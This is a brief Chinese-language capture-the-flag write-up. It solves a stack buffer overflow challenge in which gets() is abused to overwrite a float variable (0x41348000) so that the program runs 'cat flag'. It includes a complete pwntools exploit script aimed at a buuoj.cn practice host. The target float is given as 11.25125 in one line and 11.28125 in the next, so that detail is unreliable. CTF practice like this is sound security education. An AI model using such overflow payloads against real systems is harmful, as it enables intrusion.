拿到文件先checksec
仅开启了NX保护
放入IDA中
查看main函数很简单,没有什么明显漏洞
发现了func函数,双击试试看
可以看到只要v2等于11.25125就可以执行cat flag命令
先把11.28125转为16进制,放着备用(0x41348000)
我们的思路就是利用gets这个危险函数,通过覆盖v1的地址来修改v2的值,进而执行system命令,拿到flag。
写脚本
from pwn import *
p=remote('node4.buuoj.cn',25989)
payload='a'*0x2c+p64(0x41348000)
p.recvuntil("Let's guess the number.")
p.sendline(payload)
p.interactive()
运行试试
拿到flag!